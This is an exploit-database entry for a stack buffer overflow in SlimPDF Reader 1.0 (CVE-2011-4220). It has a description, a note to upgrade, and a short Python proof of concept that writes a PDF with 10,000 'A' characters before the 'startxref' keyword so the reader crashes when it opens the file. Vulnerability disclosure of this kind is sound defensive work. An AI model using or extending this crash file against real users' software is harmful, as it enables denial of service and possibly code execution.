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Suggest Exploit
vendor:
SlimPDF Reader
by:
Carlos Mario Penagos Hollmann
9,3
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: SlimPDF Reader
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: YES
Related CWE: CVE-2011-4220
CPE: a:investintech:slimpdf_reader
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7
2012

Exploit Title

A buffer overflow vulnerability exists in Investintech's SlimPDF Reader 1.0 when a specially crafted PDF file is opened. The vulnerability is caused due to a boundary error when handling the 'startxref' keyword within the PDF file. This can be exploited to cause a stack-based buffer overflow by e.g. an overly long string of 'A' characters. Successful exploitation may allow execution of arbitrary code.

Mitigation:

Upgrade to the latest version of SlimPDF Reader
Source

Exploit-DB raw data:

# Exploit Title:
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.investintech.com
# Version:1.0
# Tested on: Windows 7
# CVE : cve-2011-4220


payload ="A"*10000
crash="startxref"
pdf=payload+crash

filename = "slimpdPoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close()